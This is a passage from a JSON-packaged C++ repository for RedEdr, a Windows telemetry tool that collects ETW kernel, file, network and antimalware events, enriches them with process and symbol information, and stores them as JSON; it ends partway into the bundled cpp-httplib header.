short> auditapi_event_ids = { 3, 4, 5, 6 };\n        krabs::event_filter auditapi_filter(auditapi_event_ids);\n        auditapi_provider.trace_flags(auditapi_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n        auditapi_filter.add_on_event_callback(event_callback_process);\n        if (g_Config.do_defendertrace) {\n            auditapi_filter.add_on_event_callback(event_callback_defendertrace);\n        }\n        auditapi_provider.add_filter(auditapi_filter);\n        trace_user.enable(auditapi_provider);\n        LOG_A(LOG_INFO, \"ETW: Microsoft-Windows-Kernel-Audit-API-Calls (3, 4, 5, 6)\");\n        \n        /*\n            10 NameCreate\n            30 CreateNewFile\n\n            17 SetInformation\n            //22 QueryInformation\n            19 Rename\n            29 Rename9\n            25 DirNotify\n            23 FSCTL\n            26 DeletePath\n            27 RenamePath\n            28 SetLinkPath\n            31 SetSecurity\n            32 QuerySecurity\n            33 SetEA\n            34 QueryEA\n        */\n        krabs::provider<> kernelfile_provider(L\"Microsoft-Windows-Kernel-File\");\n        std::vector<unsigned short> kernelfile_event_ids = { 10, 30 };\n        krabs::event_filter kernelfile_filter(kernelfile_event_ids);\n        kernelfile_provider.trace_flags(kernelfile_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n        kernelfile_filter.add_on_event_callback(event_callback_process);\n        if (g_Config.do_defendertrace) {\n            kernelfile_filter.add_on_event_callback(event_callback_defendertrace);\n        }\n        kernelfile_provider.add_filter(kernelfile_filter);\n        trace_user.enable(kernelfile_provider);\n        LOG_A(LOG_INFO, \"ETW: Microsoft-Windows-Kernel-File (10, 30)\");\n\n        /*\n            12 KERNEL_NETWORK_TASK_TCPIPConnectionattempted\n            15 KERNEL_NETWORK_TASK_TCPIPConnectionaccepted\n            28 KERNEL_NETWORK_TASK_TCPIPConnectionattempted\n            31 KERNEL_NETWORK_TASK_TCPIPConnectionaccepted\n\n            42 KERNEL_NETWORK_TASK_UDPIPDatasentoverUDPprotocol\n            43 KERNEL_NETWORK_TASK_UDPIPDatareceivedoverUDPprotocol\n            58 KERNEL_NETWORK_TASK_UDPIPDatasentoverUDPprotocol\n            59 KERNEL_NETWORK_TASK_UDPIPDatareceivedoverUDPprotocol\n        */\n        krabs::provider<> kernelnetwork_provider(L\"Microsoft-Windows-Kernel-Network\");\n        std::vector<unsigned short> kernelnetwork_event_ids = { 12, 15, 28, 31, 42, 43, 58, 59 };\n        krabs::event_filter kernelnetwork_filter(kernelnetwork_event_ids);\n        kernelnetwork_provider.trace_flags(kernelnetwork_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n        kernelnetwork_filter.add_on_event_callback(event_callback_process);\n        if (g_Config.do_defendertrace) {\n            kernelnetwork_filter.add_on_event_callback(event_callback_defendertrace);\n        }\n        kernelnetwork_provider.add_filter(kernelnetwork_filter);\n        trace_user.enable(kernelnetwork_provider);\n        LOG_A(LOG_INFO, \"ETW: Microsoft-Windows-Kernel-Network (12, 15, 28, 31, 42, 43, 58, 59)\");\n\n        /* https://docs.google.com/spreadsheets/d/1d7hPRktxzYWmYtfLFaU_vMBKX2z98bci0fssTYyofdo/edit?gid=0#gid=0\n            4624\tAn account was successfully logged on.\n            4625\tAn account failed to log on.\n            4627\tGroup membership information.\n            4634\tAn account was logged off\n            4647\tUser initiated logoff.\n            4648\tA logon was attempted using explicit credentials.\n            4656\tA handle to an object was requested.\n            4657\tA registry value was modified.\n            4660\tAn object was deleted.\n            4661\tA handle to an object was requested.\n            4662\tAn operation was performed on an object.\n            4663\tAn attempt was made to access an object.\n            4664\tAn attempt was made to create a hard link.\n            4672\tSpecial privileges assigned to new logon.\n            4673\tA privileged service was called.\n            4674\tAn operation was attempted on a privileged object.\n            4688\tA new process has been created.\n            4689\tA process has exited.\n            4690\tAn attempt was made to duplicate a handle to an object.\n            4696\tA primary token was assigned to process.\n            4697\tA service was installed in the system.\n            4698\tA scheduled task was created.\n            4699\tA scheduled task was deleted.\n            4700\tA scheduled task was enabled.\n            4701\tA scheduled task was disabled.\n            4702\tA scheduled task was updated.\n            4703\tA user right was adjusted.\n            4741\tA computer account was created.\n            4742\tA computer account was changed.\n            4743\tA computer account was deleted.\n            4768\tA Kerberos authentication ticket (TGT) was requested.\n            4769\tA Kerberos service ticket was requested.\n            4770\tA Kerberos service ticket was renewed.\n            4771\tKerberos pre-authentication failed.\n            4798\tA user's local group membership was enumerated.\n            5145\tA network share object was checked to see whether client can be granted desired access.\n            5379\tCredential Manager credentials were read.\n        */\n        // Temporarily disabled as it doesnt seem to work really and has not interesting events\n        /* \n        krabs::provider<> securityauditing_provider(L\"Microsoft-Windows-Security-Auditing\");\n        securityauditing_provider.trace_flags(securityauditing_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n        securityauditing_provider.add_on_event_callback(event_callback_process);\n        trace_user.enable(securityauditing_provider);\n        */\n\n\t\t// Microsoft-Antimalware-Engine\n        // We currently observe all event id's, and filter in the callback\n        krabs::provider<> antimalwareengine_provider(L\"Microsoft-Antimalware-Engine\");\n        if (g_Config.do_antimalwareengine) {\n            antimalwareengine_provider.add_on_event_callback(event_callback_antimalware);\n            trace_user.enable(antimalwareengine_provider);\n            LOG_A(LOG_INFO, \"ETW: Microsoft-Antimalware-Engine (all)\");\n        }\n\n        LOG_A(LOG_INFO, \"ETW: All providers configured, ready to start collecting\");\n        \n        // Signal that the thread is fully initialized\n        SetEvent(threadReadynessEtw);\n\n        // Blocking, stopped with trace.stop()\n        trace_user.start();\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ETW TraceProcessingThread exception: %s\", e.what());\n        // Ensure the init waiter is unblocked even on failure\n        if (threadReadynessEtw != NULL) {\n            SetEvent(threadReadynessEtw);\n        }\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"ETW TraceProcessingThread unknown exception\");\n        // Ensure the init waiter is unblocked even on failure\n        if (threadReadynessEtw != NULL) {\n            SetEvent(threadReadynessEtw);\n        }\n    }\n\n    LOG_A(LOG_DEBUG, \"!ETW: Thread finished\");\n    return 0;\n}\n\n\nvoid EtwReaderStopAll() {\n    // Signal stop\n    if (hStopEventEtw != NULL) {\n        SetEvent(hStopEventEtw);\n    }\n\n    trace_user.stop();\n\n    // Wait for thread to exit cleanly\n    if (hEtwThreadHandle != NULL) {\n        if (WaitForSingleObject(hEtwThreadHandle, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"ETW: Thread did not exit in time, force-terminating\");\n            TerminateThread(hEtwThreadHandle, 1);\n        }\n        CloseHandle(hEtwThreadHandle);\n        hEtwThreadHandle = NULL;\n    }\n\n    // Clean up event handles\n    if (hStopEventEtw != NULL) {\n        CloseHandle(hStopEventEtw);\n        hStopEventEtw = NULL;\n    }\n    if (threadReadynessEtw != NULL) {\n        CloseHandle(threadReadynessEtw);\n        threadReadynessEtw = NULL;\n    }\n}\n"
  },
  {
    "path": "RedEdr/etwreader.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <evntrace.h>\n#include <vector>\n\n\ntypedef void (WINAPI* EventRecordCallbackFuncPtr)(PEVENT_RECORD);\n\nBOOL InitializeEtwReader(std::vector<HANDLE>& threads);\nvoid EtwReaderStopAll();\nBOOL WINAPI ConsoleCtrlHandler(DWORD ctrlType);\nDWORD WINAPI TraceProcessingThread(LPVOID param);\nvoid trace_in_progress(BOOL use);"
  },
  {
    "path": "RedEdr/event_aggregator.cpp",
    "content": "#include <iostream>\n#include <sstream>\n#include <vector>\n\n#include \"event_aggregator.h\"\n#include \"logging.h\"\n#include \"utils.h\"\n\n\n/* Retrieves events from all subsystems (ETW, ETWTI, Kernel, DLL)\n   as JSON text. Buffer it here until Analyzer collects em.\n\n   It mostly makes sure all events are collected as fast\n   as possible, with as little processing as possible.\n*/\n\n// Global\nEventAggregator g_EventAggregator;\n\n\nvoid EventAggregator::NewEvent(std::string eventStr) {\n    // Add to cache\n    output_mutex.lock();\n    output_entries.push_back(eventStr);\n    output_count++;\n    output_mutex.unlock();\n\n    // Notify the analyzer thread\n    cv.notify_one();\n}\n\n\nvoid EventAggregator::do_output(std::wstring eventWstr) {\n    try {\n        // Add to cache\n        std::string json = wstring2string(eventWstr);\n        output_mutex.lock();\n        output_entries.push_back(json);\n        output_count++;\n        output_mutex.unlock();\n\n        // Notify the analyzer thread\n        cv.notify_one();\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"EventAggregator::do_output: String conversion failed: %s\", e.what());\n    }\n}\n\n\nstd::vector<std::string> EventAggregator::GetEvents() {\n    std::vector<std::string> newEvents;\n\n    output_mutex.lock();\n    newEvents = output_entries; // Deep Copy!\n    output_entries.clear();\n    output_mutex.unlock();\n\n    return newEvents;\n}\n\n\nBOOL EventAggregator::HasMoreEvents() {\n    // Lock for now\n    std::lock_guard<std::mutex> lock(output_mutex);\n\n    if (output_entries.size() > 0) {\n        return TRUE;\n    }\n    else {\n        return FALSE;\n    }\n}\n\n\nvoid EventAggregator::Stop() {\n    done = TRUE;\n    cv.notify_all();\n}\n\n\nvoid EventAggregator::ResetData() {\n    output_mutex.lock();\n    output_entries.clear();\n    output_count = 0;  // Reset count as well\n    output_mutex.unlock();\n}\n\n\nunsigned int EventAggregator::GetCount() {\n    std::lock_guard<std::mutex> lock(output_mutex);\n    return output_count;\n}\n"
  },
  {
    "path": "RedEdr/event_aggregator.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <mutex>\n#include <atomic>\n\n\nclass EventAggregator {\npublic:\n\t// Called by producers\n\tvoid do_output(std::wstring str);  // obsolete delete\n\tvoid NewEvent(std::string eventStr);\n\n\t// Only support one consumer, as it tracks its last used element\n\tBOOL HasMoreEvents();\n\tstd::vector<std::string> GetEvents();\n\n\t// Data management\n\tvoid ResetData();\n\tvoid Stop();\n\tunsigned int GetCount();\n\n\t// These is all just so a consumer can get a copy of all new\n\t// events (Analyzer)\n\tstd::condition_variable cv; // Will be called upon each insert\n\tstd::mutex analyzer_shutdown_mtx;\n\tstd::atomic<bool> done{false};  // Flag to signal when to stop the consumer thread\n\nprivate:\n\t// JSON should be UTF-8 which is std::string...\n\tstd::vector<std::string> output_entries;\n\tstd::mutex output_mutex;\n\tunsigned int output_count = 0;\n};\n\nextern EventAggregator g_EventAggregator;\n"
  },
  {
    "path": "RedEdr/event_augmenter.cpp",
    "content": "\n#include \"logging.h\"\n#include \"config.h\"\n#include \"json.hpp\"\n\n#include \"event_augmenter.h\"\n\n\n/* Augments the Event JSON with additional information\n * Depends on MemStatic to resolve addresses\n */\n\n\nvoid AugmentEvent(nlohmann::json& j, Process *process) {\n\tAugmentEventWithMemAddrInfo(j, process);\n}\n\n\nvoid AugmentEventWithMemAddrInfo(nlohmann::json& j, Process *process) {\n    // InjectedDLL: callstack\n    if (j.contains(\"callstack\") && j[\"callstack\"].is_array()) {\n        for (auto& callstack_entry : j[\"callstack\"]) {\n            if (callstack_entry.contains(\"addr\")) {\n                uint64_t addr = callstack_entry[\"addr\"].get<uint64_t>();\n                std::string symbol = process->memStatic.ResolveStr(addr);\n                callstack_entry[\"addr_info\"] = symbol;\n\n                if (g_Config.debug) {\n                    LOG_A(LOG_INFO, \"Addr 0x%llx Symbol: %s\",\n                        addr,\n                        symbol.c_str());\n                }\n            }\n        }\n    }\n\n    // ETW: stack_trace\n    if (j.contains(\"stack_trace\") && j[\"stack_trace\"].is_array()) {\n        for (auto& callstack_entry : j[\"stack_trace\"]) {\n            if (callstack_entry.contains(\"addr\")) {\n                uint64_t addr = callstack_entry[\"addr\"].get<uint64_t>();\n                std::string symbol = process->memStatic.ResolveStr(addr);\n                callstack_entry[\"addr_info\"] = symbol;\n\n                if (g_Config.debug) {\n                    LOG_A(LOG_INFO, \"Addr 0x%llx Symbol: %s\",\n                        addr,\n                        symbol.c_str());\n                }\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "RedEdr/event_augmenter.h",
    "content": "#pragma once\n\n#include \"json.hpp\"\n#include \"myprocess.h\"\n\n\nvoid AugmentEvent(nlohmann::json& j, Process *process);\nvoid AugmentEventWithMemAddrInfo(nlohmann::json& j, Process *process);\n"
  },
  {
    "path": "RedEdr/event_processor.cpp",
    "content": "#include <iostream>\n#include <sstream>\n#include <vector>\n\n#include \"process_resolver.h\"\n#include \"process_query.h\"\n#include \"event_processor.h\"\n#include \"event_aggregator.h\"\n#include \"event_augmenter.h\"\n#include \"utils.h\"\n#include \"config.h\"\n#include \"../Shared/common.h\"\n#include \"logging.h\"\n\n/* event_processor.c: Gets new events from EventAggregator and processes them\n *   Keeps stats\n *   Keeps copy of all events\n *   Augments events with additional information\n *   Query process for more information\n */\n\n\nEventProcessor g_EventProcessor;\n\n\nEventProcessor::EventProcessor() {\n    //init();\n}\n\nvoid EventProcessor::init() {\n    json_entries.clear();\n\n\tnum_kernel = 0;\n\tnum_etw = 0;\n\tnum_etwti = 0;\n\tnum_dll = 0;\n    event_count = 0;\n    GenerateNewTraceId();\n\n    // Add meta data\n\tnlohmann::json j;\n\tj[\"type\"] = \"meta\";\n    j[\"func\"] = \"init\";\n\tj[\"date\"] = get_time_for_file();\n    j[\"version\"] = REDEDR_VERSION;\n\tj[\"trace_id\"] = trace_id;\n\n\tj[\"do_etw\"] = g_Config.do_etw;\n\tj[\"do_etwti\"] = g_Config.do_etwti;\n\tj[\"do_kernel\"] = g_Config.do_kernel;\n\tj[\"do_hook\"] = g_Config.do_hook;\n\tj[\"do_hook_callstack\"] = g_Config.do_dllinjection_ucallstack;\n\t    \n\tj[\"targets\"] = g_Config.targetProcessNames;\n    json_entries.push_back(j);\n}\n\n\nvoid EventProcessor::LogInitialProcessInfo(Process *process) {\n    // Log: Peb Info\n    ProcessPebInfoRet processPebInfoRet = process->processPebInfoRet;\n    try {\n        nlohmann::json j;\n\t\tj[\"pid\"] = process->id;\n        j[\"type\"] = \"process_query\";\n        j[\"func\"] = \"peb\";\n        j[\"time\"] = get_time();\n        j[\"id\"] = process->id;\n        j[\"parent_pid\"] = processPebInfoRet.parent_pid;\n        j[\"image_path\"] = processPebInfoRet.image_path;\n        j[\"commandline\"] = processPebInfoRet.commandline;\n        j[\"working_dir\"] = processPebInfoRet.working_dir;\n        j[\"is_debugged\"] = processPebInfoRet.is_debugged;\n        j[\"is_protected_process\"] = processPebInfoRet.is_protected_process;\n        j[\"is_protected_process_light\"] = processPebInfoRet.is_protected_process_light;\n        j[\"image_base\"] = processPebInfoRet.image_base;\n        g_EventAggregator.NewEvent(j.dump());\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"EventProcessor: Error creating PEB info JSON: %s\", e.what());\n    }\n\n    // Log: Loaded Modules Info\n    try {\n        std::vector<ProcessLoadedDll> processLoadedDlls = process->processLoadedDlls;\n        nlohmann::json jDlls;\n        jDlls[\"func\"] = \"loaded_dll\";\n        jDlls[\"type\"] = \"process_query\";\n        jDlls[\"time\"] = get_time();\n        jDlls[\"pid\"] = process->id;\n        jDlls[\"dlls\"] = {};\n        for (auto dllEntry : processLoadedDlls) {\n            jDlls[\"dlls\"] += {\n                {\"addr\", dllEntry.dll_base},\n                {\"size\", dllEntry.size},\n                {\"name\", dllEntry.name}\n            };\n        }\n        std::string jsonStr = jDlls.dump();\n        remove_all_occurrences_case_insensitive(jsonStr, \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\");\n        g_EventAggregator.NewEvent(jsonStr);\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"EventProcessor: Error enumerating modules: %s\", e.what());\n    }\n}\n\n\nvoid EventProcessor::AnalyzeEventJson(nlohmann::json& j) {\n    try {\n        j[\"id\"] = json_entries.size();\n        j[\"trace_id\"] = trace_id;\n\n        // Sanity checks\n        if (!j.contains(\"type\")) {\n            LOG_A(LOG_WARNING, \"No type? %s\", j.dump().c_str());\n            return;\n        }\n        //if (!j.contains(\"pid\")) {\n        //    LOG_A(LOG_WARNING, \"No pid? %s\", j.dump().c_str());\n        //    return;\n        //}\n\n        // Stats (for UI)\n        EventStats(j);\n\n\t\t// etw_pid is typically the source process of the event\n        if (j.contains(\"etw_pid\") && !j[\"etw_pid\"].is_null()) {\n            Process* process = g_ProcessResolver.getObject(j[\"etw_pid\"].get<DWORD>());\n            if (process == nullptr) {\n                // Should not happen\n                LOG_A(LOG_WARNING, \"EventProcessor: Failed to get process object for pid %lu\", j[\"etw_pid\"].get<DWORD>());\n                return;\n            }\n\n            // Check if we need to gather the detailed information about the process\n            // If yes (not done before), do it and log it\n            if (!process->augmented) {\n                process->AugmentInfo();\n                process->augmented = true;\n                LogInitialProcessInfo(process);\n            }\n\n            // Augment the JSON Event with memory info\n            AugmentEventWithMemAddrInfo(j, process);\n        }\n\n        // Print Event\n        PrintEvent(j);\n\n        // Has to be at the end as we dont store reference\n        json_entries.push_back(j);\n        event_count++;\n    }\n    catch (const nlohmann::json::exception& e) {\n        LOG_A(LOG_ERROR, \"JSON error in AnalyzeEventJson: %s\", e.what());\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"Error in AnalyzeEventJson: %s\", e.what());\n    }\n\n    return;\n}\n\n\nvoid EventProcessor::AnalyzeEventStr(std::string eventStr) {\n    nlohmann::json j;\n    try\n    {\n        j = nlohmann::json::parse(eventStr);\n    }\n    catch (const nlohmann::json::exception& e)\n    {\n        LOG_A(LOG_WARNING, \"JSON Parser Exception msg: %s\", e.what());\n        LOG_A(LOG_WARNING, \"JSON Parser Exception event: %s\", eventStr.c_str());\n        return;\n    }\n\n    AnalyzeEventJson(j);\n}\n\n\nvoid EventProcessor::AnalyzeNewEvents(std::vector<std::string> events) {\n    for (std::string& entry : events) {\n        AnalyzeEventStr(entry);\n    }\n}\n\n\nvoid EventProcessor::PrintEvent(nlohmann::json j) {\n    // Output accordingly\n    if (g_Config.hide_full_output) {\n        if (event_count >= 100) {\n            if (event_count % 100 == 0) {\n                std::cout << \"O\";\n            }\n        }\n        else if (event_count >= 10) {\n            if (event_count % 10 == 0) {\n                std::cout << \"o\";\n            }\n        }\n        else {\n            std::cout << \".\";\n        }\n    }\n    else {\n        std::cout << j.dump() << \"\\n\";\n    }\n}\n\n\nvoid EventProcessor::EventStats(nlohmann::json& j) {\n    if (j[\"type\"] == \"kernel\") {\n        num_kernel += 1;\n    }\n    else if (j[\"type\"] == \"dll\") {\n        num_dll += 1;\n    }\n    else if (j[\"type\"] == \"etw\") {\n        if (j[\"etw_provider_name\"] == \"Microsoft-Windows-Threat-Intelligence\") {\n            num_etwti += 1;\n        }\n        else {\n            num_etw += 1;\n        }\n    }\n}\n\n\nvoid EventProcessor::ResetData() {\n    init();\n}\n\n\nvoid EventProcessor::GenerateNewTraceId() {\n    trace_id = rand();\n}\n\n\nstd::string EventProcessor::GetAllAsJson() {\n    return nlohmann::json(json_entries).dump();\n}\n\n\nvoid EventProcessor::SaveToFile() {\n    try {\n        std::string data = GetAllAsJson();\n        std::string filename = \"C:\\\\RedEdr\\\\Data\\\\\" + get_time_for_file() + \".events.json\";\n        write_file(filename, data);\n        LOG_A(LOG_INFO, \"EventProcessor: Saved events to %s\", filename.c_str());\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"EventProcessor: Error saving events to file: %s\", e.what());\n    }\n}\n\n\n// Module functions\nHANDLE EventProcessor_thread;\nHANDLE hStopEventProcessor = NULL; // signaled to request thread stop\n\n\n// Thread which retrieves and processes events from EventAggregator\nDWORD WINAPI EventProcessorThread(LPVOID param) {\n    try {\n        size_t arrlen = 0;\n        std::unique_lock<std::mutex> lock(g_EventAggregator.analyzer_shutdown_mtx);\n\n        while (true) {\n            // Block for new events\n            g_EventAggregator.cv.wait(lock, [] { return g_EventAggregator.HasMoreEvents() || g_EventAggregator.done; });\n            if (g_EventAggregator.done) {\n                break;\n            }\n            // get em events\n            std::vector<std::string> new_entries = g_EventAggregator.GetEvents();\n\n            // process\n            g_EventProcessor.AnalyzeNewEvents(new_entries);\n        }\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"EventProcessorThread: Exception in main loop: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"EventProcessorThread: Unknown exception in main loop\");\n    }\n\n    LOG_A(LOG_DEBUG, \"!EventProcessor: Thread finished\");\n    return 0;\n}\n\n\nint InitializeEventProcessor(std::vector<HANDLE>& threads) {\n    hStopEventProcessor = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventProcessor == NULL) {\n        LOG_A(LOG_ERROR, \"EventProcessor: Failed to create stop event\");\n        return 1;\n    }\n    EventProcessor_thread = CreateThread(NULL, 0, EventProcessorThread, NULL, 0, NULL);\n    if (EventProcessor_thread == NULL) {\n        LOG_A(LOG_ERROR, \"EventProcessor: Failed to create thread for EventProcessor\");\n        CloseHandle(hStopEventProcessor);\n        hStopEventProcessor = NULL;\n        return 1;\n    }\n    LOG_A(LOG_DEBUG, \"!EventProcessor: Thread started\");\n\n    threads.push_back(EventProcessor_thread);\n    return 0;\n}\n\n\nvoid StopEventProcessor() {\n    // Signal stop\n    if (hStopEventProcessor != NULL) {\n        SetEvent(hStopEventProcessor);\n    }\n\n    if (EventProcessor_thread != NULL) {\n        g_EventAggregator.Stop();\n\n        if (WaitForSingleObject(EventProcessor_thread, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"EventProcessor: Thread did not exit in time, force-terminating\");\n            TerminateThread(EventProcessor_thread, 1);\n        }\n        // handle ownership stays with the threads vector; do not close here\n    }\n\n    if (hStopEventProcessor != NULL) {\n        CloseHandle(hStopEventProcessor);\n        hStopEventProcessor = NULL;\n    }\n}\n\n"
  },
  {
    "path": "RedEdr/event_processor.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <string>\n#include <mutex>\n\n#include \"json.hpp\"\n#include \"myprocess.h\"\n\n\nclass EventProcessor {\npublic:\n\tEventProcessor();\n\tvoid init();\n\tvoid LogInitialProcessInfo(Process* process);\n\tvoid AnalyzeNewEvents(std::vector<std::string> events);\n\tvoid SaveToFile();\n\tstd::string GetAllAsJson();\n\tvoid ResetData();\n\tvoid EventStats(nlohmann::json& j);\n\n\tint num_kernel = 0;\n\tint num_etw = 0;\n\tint num_etwti = 0;\n\tint num_dll = 0;\n\n\tvoid PrintEvent(nlohmann::json j);\n\tvoid AnalyzeEventJson(nlohmann::json& j);\n\tvoid AnalyzeEventStr(std::string eventStr);\n\nprivate:\n\tvoid GenerateNewTraceId();\n\n\tstd::vector<nlohmann::json> json_entries;\n\tstd::mutex output_mutex;\n\tsize_t trace_id = 0;\n\tsize_t event_count = 0;\n};\n\n\nDWORD WINAPI EventProcessorThread(LPVOID param);\nint InitializeEventProcessor(std::vector<HANDLE>& threads);\nvoid StopEventProcessor();\n\nextern EventProcessor g_EventProcessor;\n"
  },
  {
    "path": "RedEdr/httplib.h",
    "content": "//\n//  httplib.h\n//\n//  Copyright (c) 2024 Yuji Hirose. All rights reserved.\n//  MIT License\n//\n\n#ifndef CPPHTTPLIB_HTTPLIB_H\n#define CPPHTTPLIB_HTTPLIB_H\n\n#define CPPHTTPLIB_VERSION \"0.16.3\"\n\n/*\n * Configuration\n */\n\n#ifndef CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND\n#define CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND 5\n#endif\n\n#ifndef CPPHTTPLIB_KEEPALIVE_MAX_COUNT\n#define CPPHTTPLIB_KEEPALIVE_MAX_COUNT 5\n#endif\n\n#ifndef CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND\n#define CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND 300\n#endif\n\n#ifndef CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND\n#define CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND 0\n#endif\n\n#ifndef CPPHTTPLIB_READ_TIMEOUT_SECOND\n#define CPPHTTPLIB_READ_TIMEOUT_SECOND 5\n#endif\n\n#ifndef CPPHTTPLIB_READ_TIMEOUT_USECOND\n#define CPPHTTPLIB_READ_TIMEOUT_USECOND 0\n#endif\n\n#ifndef CPPHTTPLIB_WRITE_TIMEOUT_SECOND\n#define CPPHTTPLIB_WRITE_TIMEOUT_SECOND 5\n#endif\n\n#ifndef CPPHTTPLIB_WRITE_TIMEOUT_USECOND\n#define CPPHTTPLIB_WRITE_TIMEOUT_USECOND 0\n#endif\n\n#ifndef CPPHTTPLIB_IDLE_INTERVAL_SECOND\n#define CPPHTTPLIB_IDLE_INTERVAL_SECOND 0\n#endif\n\n#ifndef CPPHTTPLIB_IDLE_INTERVAL_USECOND\n#ifdef _WIN32\n#define CPPHTTPLIB_IDLE_INTERVAL_USECOND 10000\n#else\n#define CPPHTTPLIB_IDLE_INTERVAL_USECOND 0\n#endif\n#endif\n\n#ifndef CPPHTTPLIB_REQUEST_URI_MAX_LENGTH\n#define CPPHTTPLIB_REQUEST_URI_MAX_LENGTH 8192\n#endif\n\n#ifndef CPPHTTPLIB_HEADER_MAX_LENGTH\n#define CPPHTTPLIB_HEADER_MAX_LENGTH 8192\n#endif\n\n#ifndef CPPHTTPLIB_REDIRECT_MAX_COUNT\n#define CPPHTTPLIB_REDIRECT_MAX_COUNT 20\n#endif\n\n#ifndef CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT\n#define CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT 1024\n#endif\n\n#ifndef CPPHTTPLIB_PAYLOAD_MAX_LENGTH\n#define CPPHTTPLIB_PAYLOAD_MAX_LENGTH ((std::numeric_limits<size_t>::max)())\n#endif\n\n#ifndef CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH\n#define CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH 8192\n#endif\n\n#ifndef CPPHTTPLIB_RANGE_MAX_COUNT\n#define CPPHTTPLIB_RANGE_MAX_COUNT 1024\n#endif\n\n#ifndef CPPHTTPLIB_TCP_NODELAY\n#define CPPHTTPLIB_TCP_NODELAY false\n#endif\n\n#ifndef CPPHTTPLIB_RECV_BUFSIZ\n#define CPPHTTPLIB_RECV_BUFSIZ size_t(16384u)\n#endif\n\n#ifndef CPPHTTPLIB_COMPRESSION_BUFSIZ\n#define CPPHTTPLIB_COMPRESSION_BUFSIZ size_t(16384u)\n#endif\n\n#ifndef CPPHTTPLIB_THREAD_POOL_COUNT\n#define CPPHTTPLIB_THREAD_POOL_COUNT                                           \\\n  ((std::max)(8u, std::thread::hardware_concurrency() > 0                      \\\n                      ? std::thread::hardware_concurrency() - 1                \\\n                      : 0))\n#endif\n\n#ifndef CPPHTTPLIB_RECV_FLAGS\n#define CPPHTTPLIB_RECV_FLAGS 0\n#endif\n\n#ifndef CPPHTTPLIB_SEND_FLAGS\n#define CPPHTTPLIB_SEND_FLAGS 0\n#endif\n\n#ifndef CPPHTTPLIB_LISTEN_BACKLOG\n#define CPPHTTPLIB_LISTEN_BACKLOG 5\n#endif\n\n/*\n * Headers\n */\n\n#ifdef _WIN32\n#ifndef _CRT_SECURE_NO_WARNINGS\n#define _CRT_SECURE_NO_WARNINGS\n#endif //_CRT_SECURE_NO_WARNINGS\n\n#ifndef _CRT_NONSTDC_NO_DEPRECATE\n#define _CRT_NONSTDC_NO_DEPRECATE\n#endif //_CRT_NONSTDC_NO_DEPRECATE\n\n#if defined(_MSC_VER)\n#if _MSC_VER < 1900\n#error Sorry, Visual Studio versions prior to 2015 are not supported\n#endif\n\n#pragma comment(lib, \"ws2_32.lib\")\n\n#ifdef _WIN64\nusing ssize_t = __int64;\n#else\nusing ssize_t = long;\n#endif\n#endif // _MSC_VER\n\n#ifndef S_ISREG\n#define S_ISREG(m) (((m) & S_IFREG) == S_IFREG)\n#endif // S_ISREG\n\n#ifndef S_ISDIR\n#define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR)\n#endif // S_ISDIR\n\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif // NOMINMAX\n\n#include <io.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n\n#ifndef WSA_FLAG_NO_HANDLE_INHERIT\n#define WSA_FLAG_NO_HANDLE_INHERIT 0x80\n#endif\n\nusing socket_t = SOCKET;\n#ifdef CPPHTTPLIB_USE_POLL\n#define poll(fds, nfds, timeout) WSAPoll(fds, nfds, timeout)\n#endif\n\n#else // not _WIN32\n\n#include <arpa/inet.h>\n#if !defined(_AIX) && !defined(__MVS__)\n#include <ifaddrs.h>\n#endif\n#ifdef __MVS__\n#include <strings.h>\n#ifndef NI_MAXHOST\n#define NI_MAXHOST 1025\n#endif\n#endif\n#include <net/if.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#ifdef __linux__\n#include <resolv.h>\n#endif\n#include <netinet/tcp.h>\n#ifdef CPPHTTPLIB_USE_POLL\n#include <poll.h>\n#endif\n#include <csignal>\n#include <pthread.h>\n#include <sys/mman.h>\n#include <sys/select.h>\n#include <sys/socket.h>\n#include <sys/un.h>\n#include <unistd.h>\n\nusing socket_t = int;\n#ifndef INVALID_SOCKET\n#define INVALID_SOCKET (-1)\n#endif\n#endif //_WIN32\n\n#include <algorithm>\n#include <array>\n#include <atomic>\n#include <cassert>\n#include <cctype>\n#include <climits>\n#include <condition_variable>\n#include <cstring>\n#include <errno.h>\n#include <exception>\n#include <fcntl.h>\n#include <fstream>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <list>\n#include <map>\n#include <memory>\n#include <mutex>\n#include <random>\n#include <regex>\n#include <set>\n#include <sstream>\n#include <string>\n#include <sys/stat.h>\n#include 